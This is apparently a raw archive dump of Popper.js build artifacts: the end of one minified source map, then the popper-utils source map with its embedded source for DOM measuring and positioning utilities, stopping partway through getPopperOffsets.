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"}popper-utils.js.map000064400000166245151677356750010365 0ustar00{"version":3,"file":"popper-utils.js","sources":["../src/utils/getStyleComputedProperty.js","../src/utils/getParentNode.js","../src/utils/getScrollParent.js","../src/utils/isBrowser.js","../src/utils/isIE.js","../src/utils/getOffsetParent.js","../src/utils/isOffsetContainer.js","../src/utils/getRoot.js","../src/utils/findCommonOffsetParent.js","../src/utils/getScroll.js","../src/utils/includeScroll.js","../src/utils/getBordersSize.js","../src/utils/getWindowSizes.js","../src/utils/getClientRect.js","../src/utils/getBoundingClientRect.js","../src/utils/getOffsetRectRelativeToArbitraryNode.js","../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../src/utils/isFixed.js","../src/utils/getFixedPositionOffsetParent.js","../src/utils/getBoundaries.js","../src/utils/computeAutoPlacement.js","../src/utils/debounce.js","../src/utils/find.js","../src/utils/findIndex.js","../src/utils/getOffsetRect.js","../src/utils/getOuterSizes.js","../src/utils/getOppositePlacement.js","../src/utils/getPopperOffsets.js","../src/utils/getReferenceOffsets.js","../src/utils/getSupportedPropertyName.js","../src/utils/isFunction.js","../src/utils/isModifierEnabled.js","../src/utils/isModifierRequired.js","../src/utils/isNumeric.js","../src/utils/getWindow.js","../src/utils/removeEventListeners.js","../src/utils/runModifiers.js","../src/utils/setAttributes.js","../src/utils/setStyles.js","../src/utils/setupEventListeners.js","../src/utils/index.js"],"sourcesContent":["/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import getWindowSizes from './getWindowSizes';\nimport getClientRect from './getClientRect';\n\n/**\n * Get the position of the given element, relative to its offset parent\n * @method\n * @memberof Popper.Utils\n * @param {Element} element\n * @return {Object} position - Coordinates of the element and its `scrollTop`\n */\nexport default function getOffsetRect(element) {\n  let elementRect;\n  if (element.nodeName === 'HTML') {\n    const { width, height } = getWindowSizes(element.ownerDocument);\n    elementRect = {\n      width,\n      height,\n      left: 0,\n      top: 0,\n    };\n  } else {\n    elementRect = {\n      width: element.offsetWidth,\n      height: element.offsetHeight,\n      left: element.offsetLeft,\n      top: element.offsetTop,\n    };\n  }\n\n  // position\n  return getClientRect(elementRect);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // 